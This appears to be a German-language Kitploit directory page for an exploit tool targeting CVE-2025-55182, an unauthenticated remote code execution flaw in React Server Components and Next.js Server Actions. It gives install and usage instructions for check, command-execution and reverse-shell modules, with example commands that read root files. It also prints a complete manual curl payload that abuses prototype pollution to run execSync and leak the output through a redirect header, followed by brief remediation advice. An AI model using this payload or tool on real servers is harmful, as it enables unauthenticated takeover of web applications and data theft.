Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
React2Shell-CVE-2025-55182 — CVE-2025-55182 — Unauthenticated RCE in React Server Components (React2Shell). CVSS 10.0 Exploit-Tool für autorisierte Penetrationstests. | Kitploit
Tools/GitHubGitHub/speatx/react2shell-cve-2025-55182
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsCommand and ControlLernen & BildungRed TeamingPayload-Entwicklung
GitHubspeatx/react2shell-cve-2025-55182

React2Shell-CVE-2025-55182

CVE-2025-55182 — Unauthenticated RCE in React Server Components (React2Shell). CVSS 10.0 Exploit-Tool für autorisierte Penetrationstests.

Repository anzeigen
1vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-55182 — React2Shell

Unauthenticated RCE in React Server Components via unsichere Deserialisierung des Flight-Protokolls. Eine einzige HTTP-Anfrage reicht aus, um beliebigen Code auf dem Server auszuführen — keine Anmeldeinformationen, kein vorheriger Zugriff erforderlich.

root@kitploit:~
   _____                  __  _  __
  / ___/____  ___  ____ _/ /_| |/ /
  \__ \/ __ \/ _ \/ __ `/ __/   /
 ___/ / /_/ /  __/ /_/ / /_/   |
/____/ .___/\___/\__,_/\__/_/|_|
    /_/
      React Server Components — Flight Protocol RCE
               CVE-2025-55182  ·  CVSS 10.0
           Author: SpeatX  ·  OSCP Style  ·  v1.0

CVE-2025-55182 · CVSS 10.0 · Unauthenticated · Pre-auth RCE · Offengelegt am 3. Dezember 2025

Betrifft React 19 (≤ 19.2.0) und jede Next.js-Anwendung, die Server Actions verwendet. Standardkonfigurationen sind angreifbar — kein benutzerdefinierter Code auf der Zielseite erforderlich.

Betroffene Versionen

PaketVerwundbarBehoben
react-server19.0.0 → 19.2.019.3.0+
nextalle mit ungepatchtem React 1915.0.5 / 15.1.9 / 15.2.6 / 15.3.6+

Installation

root@kitploit:~
git clone https://github.com/SpeatX/react2shell
cd react2shell
pip install requests

Python 3.8+ erforderlich. Keine weiteren Abhängigkeiten.


Verwendung

root@kitploit:~
python exploit.py <module> -t <target> [options]
root@kitploit:~
Modules:
  check      Fingerprint target and confirm vulnerability
  exec       Execute a single OS command and read the output
  revshell   Send a reverse shell to your listener

Options:
  -t, --target URL      Target URL
  -c CMD                Command to run  (exec module)
  --lhost IP            Your IP  (auto-detected from tun0 if not set)
  --lport PORT          Listening port  (default: 4444)
  --shell-type TYPE     bash · python3 · nc · mkfifo · node  (default: bash)
  --proxy URL           Route through a proxy  (e.g. http://127.0.0.1:8080)
  --random-agent        Rotate User-Agent on each request
  --timeout N           Request timeout  (default: 15)

Empfohlener Arbeitsablauf – immer mit check beginnen:

root@kitploit:~
# 1. Confirm the target is vulnerable
python exploit.py check -t http://10.10.11.50

# 2. Run commands to enumerate or grab flags
python exploit.py exec -t http://10.10.11.50 -c "id"
python exploit.py exec -t http://10.10.11.50 -c "cat /root/root.txt"

# 3. Get a shell when you need interactivity
#    (start your listener first: nc -lvnp 4444)
python exploit.py revshell -t http://10.10.11.50
python exploit.py revshell -t http://10.10.11.50 --lhost 10.10.14.5 --lport 4444
python exploit.py revshell -t http://10.10.11.50 --shell-type python3 --lport 9001

Proxy-Unterstützung und zufälliger User-Agent funktionieren mit jedem Modul:

root@kitploit:~
python exploit.py check   -t http://10.10.11.50 --proxy http://127.0.0.1:8080
python exploit.py exec    -t http://10.10.11.50 -c "whoami" --random-agent
python exploit.py revshell -t http://10.10.11.50 --proxy http://127.0.0.1:8080

Hilfe pro Modul: python exploit.py <module> --help


Wie es funktioniert

Hintergrund

React Server Components kommunizieren über ein internes Streaming-Format namens Flight-Protokoll. Wenn ein Browser eine Server Action aufruft, sendet er einen multipart/form-data-POST an die App-Wurzel mit einem Next-Action-Header. Der Server übergibt den Body an das react-server-Paket zur Deserialisierung, bevor irgendetwas anderes passiert – einschließlich der Validierung der Aktions-ID.

root@kitploit:~
Browser                         Node.js / Next.js
  │                                    │
  │── POST /  ────────────────────────>│
  │   Next-Action: x                   │
  │   Content-Type: multipart/form-data│
  │   Body: poisoned Flight chunk      │
  │                                    │
  │                    react-server    │
  │             resolveModelToJSON()   │  ← vulnerable
  │                                    │
  │<── 307 + X-Action-Redirect ───────│  output here

Der Fehler

Innerhalb von resolveModelToJSON() durchläuft der Deserialisierer den eingehenden JSON-Chunk. Wenn er auf ein Objekt mit einer then-Eigenschaft stößt, behandelt er es als Promise und wartet darauf – beabsichtigtes Verhalten für asynchrone Server Components. Das Problem: Es wird keine Überprüfung durchgeführt, um zu bestätigen, dass das Thenable aus einer vertrauenswürdigen Quelle stammt.

Ein Angreifer injiziert einen gefälschten Chunk in den Multipart-Body, der eine then-Eigenschaft enthält, die auf require('child_process').execSync(...) verweist. React wartet darauf, der Betriebssystembefehl wird ausgeführt.

Warum Next-Action: x funktioniert

In der Produktion werden Server Actions durch einen SHA-Hash identifiziert. Der Server sollte dies vor der Verarbeitung validieren. Aber der Flight-Decoder läuft vor dieser Prüfung — das bedeutet, dass jeder POST mit einem Next-Action-Header, selbst ein völlig gefälschter wie x, den angreifbaren Deserialisierungspfad auslöst. Es ist keine gültige Aktions-ID erforderlich.

Ausgabe-Exfiltration

Der injizierte Code erfasst die Befehlsausgabe und wirft einen konstruierten NEXT_REDIRECT-Fehler:

root@kitploit:~
var res = require('child_process').execSync('<cmd>').toString().trim();
throw Object.assign(new Error('NEXT_REDIRECT'), {
  digest: `NEXT_REDIRECT;push;/login?a=${res};307;`
});

Next.js fängt dies ab und wandelt es in eine 307 Temporary Redirect um, wobei der Digest im X-Action-Redirect-Antwortheader eingebettet wird. Die Befehlsausgabe kommt URL-kodiert an:

root@kitploit:~
HTTP/1.1 307 Temporary Redirect
X-Action-Redirect: /login?a=uid%3D0%28root%29%20gid%3D0%28root%29;307;

Manuelle Ausnutzung mit curl

root@kitploit:~
curl -si -X POST http://TARGET/ \
  -H 'Next-Action: x' \
  -H 'Content-Type: multipart/form-data; boundary=----Boundary' \
  --data-binary $'------Boundary\r\nContent-Disposition: form-data; name="0"\r\n\r\n{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"var res=process.mainModule.require(\'child_process\').execSync(\'id\').toString().trim().replace(/\\\\n/g,\' | \');;throw Object.assign(new Error(\'NEXT_REDIRECT\'),{digest:`NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}\r\n------Boundary\r\nContent-Disposition: form-data; name="1"\r\n\r\n"$@0"\r\n------Boundary\r\nContent-Disposition: form-data; name="2"\r\n\r\n[]\r\n------Boundary--\r\n'

Die Ausgabe befindet sich im X-Action-Redirect-Header, URL-kodiert nach /login?a=.


Behebung

root@kitploit:~
npm install react@latest react-dom@latest next@latest

Mindestsicherheit: react-server ≥ 19.3.0 · next ≥ 15.3.6

Wenn ein Patch nicht sofort möglich ist:

  • Setze experimental: { serverActions: false } in der next.config.js
  • Blockiere den Next-Action-Header auf der Reverse-Proxy-Ebene
  • WAF-Regel: POST-Bodies, die NEXT_REDIRECT oder __proto__ enthalten, ablehnen

Referenzen

  • NVD — CVE-2025-55182
  • Wiz Research
  • OffSec
  • Microsoft MSTIC
  • Google GTIG

Nur für autorisierte Penetrationstests und zu Bildungszwecken.

Tool herunterladen